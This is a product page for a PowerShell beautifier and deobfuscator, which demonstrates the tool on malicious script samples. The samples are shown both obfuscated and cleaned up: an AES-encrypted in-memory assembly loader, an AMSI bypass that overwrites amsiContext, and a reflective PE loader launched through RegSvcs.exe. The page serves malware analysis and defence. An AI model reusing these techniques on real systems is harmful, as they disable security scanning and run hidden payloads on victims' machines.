PowerShell Beautifier

PowerShell Beautifier

A beautifier for Microsoft PowerShell scripts with many deobfuscation capabilities.

If your organization is interested in integrating the PowerShell beautifier in a cloud service, please contact us.

The package features a complete parser for the PowerShell language. The beautifier can be invoked as an action: Ctrl+R -> PowerShell -> PowerShell Beautifier.

An example of obfuscated PowerShell code:

$mcWPL = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join 
'')('%~f0').Split([Environment]::NewLine);foreach ($jBqHb in $mcWPL) { if 
($jBqHb.StartsWith(':: ')) {  $qUflk = $jBqHb.Substring(3); break; }; };$AKzOG = 
[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($qUflk);$GTqqO = 
New-Object System.Security.Cryptography.AesManaged;$GTqqO.Mode = 
[System.Security.Cryptography.CipherMode]::CBC;$GTqqO.Padding = 
[System.Security.Cryptography.PaddingMode]::PKCS7;$GTqqO.Key = 
[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 
'')('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');$GTqqO.IV = 
[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 
'')('JYh62EWEKCuIH7WrUJ0VdA==');$QTfFw = $GTqqO.CreateDecryptor();$AKzOG = 
$QTfFw.TransformFinalBlock($AKzOG, 0, 
$AKzOG.Length);$QTfFw.Dispose();$GTqqO.Dispose();$xVFCH = New-Object 
System.IO.MemoryStream(, $AKzOG);$qGLhv = New-Object 
System.IO.MemoryStream;$wRtOX = New-Object 
System.IO.Compression.GZipStream($xVFCH, 
[IO.Compression.CompressionMode]::Decompress);$wRtOX.CopyTo($qGLhv);$wRtOX.Dispose
();$xVFCH.Dispose();$qGLhv.Dispose();$AKzOG = $qGLhv.ToArray();$VBqqY = 
[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($AKzOG);$ReoQh = 
$VBqqY.EntryPoint;$ReoQh.Invoke($null, (, [string[]] ('%*')))

The code is actually a single line but was split for better visualization.

The deobfuscated code:

$read_all_text_result = [System.IO.File]::ReadAllText('%~f0').Split([Environment]::NewLine);
foreach ($item in $read_all_text_result)
{
    if ($item.StartsWith(':: '))
    {
        $substring_result = $item.Substring(3);
        break;
    };
};
$from_base64_string_result = [System.Convert]::FromBase64String($substring_result);
$aes_managed = New-Object System.Security.Cryptography.AesManaged;
$aes_managed.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$aes_managed.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$aes_managed.Key = [System.Convert]::FromBase64String('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');
$aes_managed.IV = [System.Convert]::FromBase64String('JYh62EWEKCuIH7WrUJ0VdA==');
$create_decryptor_result = $aes_managed.CreateDecryptor();
$transform_final_block_result = $create_decryptor_result.TransformFinalBlock($from_base64_string_result, 0, $from_base64_string_result.Length);
$create_decryptor_result.Dispose();
$aes_managed.Dispose();
$memory_stream = New-Object System.IO.MemoryStream(, $transform_final_block_result);
$memory_stream_2 = New-Object System.IO.MemoryStream;
$gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, [IO.Compression.CompressionMode]::Decompress);
$gzip_stream.CopyTo($memory_stream_2);
$gzip_stream.Dispose();
$memory_stream.Dispose();
$memory_stream_2.Dispose();
$to_array_result = $memory_stream_2.ToArray();
$load_result = [System.Reflection.Assembly]::Load($to_array_result);
$entry_point = $load_result.EntryPoint;
$entry_point.Invoke($null, (, [string[]]'%*'))

The code is now very easy to follow. Not only has the beautifier solved all obfuscated expressions such as:

'txeTllAdaeR'[-1..-11]

It also gave meaningful names to all the variables.

Deobfuscation isn’t limited to the code itself, but expands to expandable strings as well.

Expandable strings in PowerShell are strings delimited by the “” or @””@ syntax and can contain variables and code which is executed.

For instance:

$iFKhD=$null;$uozo="$([CHAr](83+9-9)+[chAR](121)+[ChAR](115)+[ChaR]([bytE]0x74)+[ChaR]([BytE]0x65)+[chAR]([BYte]0x6d)).$(('Mãná'+'geme'+'nt').noRMALIzE([cHaR](54+16)+[ChAr]([bYtE]0x6f)+[chaR](114)+[CHAR]([ByTE]0x6d)+[cHAR]([byTE]0x44)) -replace 
[ChAR]([bytE]0x5c)+[cHAR](1+111)+[chAr](123*26/26)+[ChAr](77*40/40)+[cHAR](110)+[chaR]([bytE]0x7d)).$(('Áutôm'+'àtìón').NORmaLiZE([chAr]([bytE]0x46)+[cHAR]([ByTE]0x6f)+[ChAR](114)+[cHar]([byte]0x6d)+[cHAr](4+64)) -replace 
[chAr](52+40)+[CHar](112*83/83)+[ChAR](103+20)+[chAR](77)+[ChAR](110*85/85)+[Char]([ByTE]0x7d)).$([cHAR]([Byte]0x41)+[CHar](109*59/59)+[cHAR](115+36-36)+[CHAR]([byTe]0x69)+[CHar](85*43/43)+[ChaR](73+43)+[cHAR]([bYte]0x69)+[ChAR]([Byte]0x6c)+[CHaR]([BYte]0x73))";$vemvidivugxsktsxu="+('jswt'+'kvz').normAlIZE([CHAr]([BYTE]0x46)+[CHaR]([bYte]0x6f)+[cHAr]([bYTe]0x72)+[cHAR](109*90/90)+[chAr](68))-replace 
[cHAR](92)+[chAR](112)+[ChAr]([BYTe]0x7b)+[char]([bYTe]0x4d)+[CHar](110+21-21)+[CHar]([bYTE]0x7d)";[Threading.Thread]::Sleep(435);[Runtime.InteropServices.Marshal]::("$([CHar]([BytE]0x57)+[CHaR]([BYTe]0x72)+[CHAR]([bYtE]0x69)+[ChAr](62+54)+[CHar]([BytE]0x65)+[Char]([BYte]0x49)+[CHAR](110)+[cHAR](78+38)+[ChAR](51*47/47)+[char](50*22/22))")([Ref].Assembly.GetType($uozo).GetField("$([cHAR](97)+[CHAR]([BYTe]0x6d)+[CHAr]([BYtE]0x73)+[CHaR]([byTe]0x69)+[Char](67+2-2)+[CHaR]([ByTe]0x6f)+[cHAR](110*100/100)+[CHaR]([bYTE]0x74)+[CHAR](29+72)+[ChAR](120*3/3)+[cHAR]([byTe]0x74))",[Reflection.BindingFlags]"NonPublic,Static").GetValue($iFKhD),0x2aaa53a2);

Once deobfuscated:

$null_copy = $null;
$var_1 = "System.Management.Automation.AmsiUtils";
$var_2 = "+('jswt'+'kvz').normAlIZE([CHAr]([BYTE]0x46)+[CHaR]([bYte]0x6f)+[cHAr]([bYTe]0x72)+[cHAR](109*90/90)+[chAr](68))-replace `n[cHAR](92)+[chAR](112)+[ChAr]([BYTe]0x7b)+[char]([bYTe]0x4d)+[CHar](110+21-21)+[CHar]([bYTE]0x7d)";
[Threading.Thread]::Start-Sleep 435;
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext", [Reflection.BindingFlags]"NonPublic,Static").GetValue($null), 715805602);

The code inside the expandable string has been deobfuscated and became:

"System.Management.Automation.AmsiUtils"

One of the most powerful features of the beautifier is variable replacement. Here a malicious script:

$T = 'Get'
$M = $T + 'Method'
$I = 'Invoke'
$T = $T + 'Type'
$L = 'Load'
$Q0 = [Reflection.Assembly]
$B = $Q0::$L($MyS)
$B = $B.$T('NewPE2.PE')
$B = $B.$M('Execute')

$Ub = 'C:\Windows\Microsoft'
$z = $Ub + '.NET\Framewor'
$VT = $z + 'k\v4.0.30'
$XQ = $VT + '319\RegSvcs.exe'
$B = $B.$I($null,[object[]] ($XQ,$serv))

With both variable replacement and removal of unused variables enabled:

$load_result = [Reflection.Assembly]::Load($x_result)
$get_type_result = $load_result.GetType('NewPE2.PE')
$get_method_result = $get_type_result.GetMethod('Execute')
$invoke_result = $get_method_result.Invoke($null, [object[]]('C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe', $x_result_2))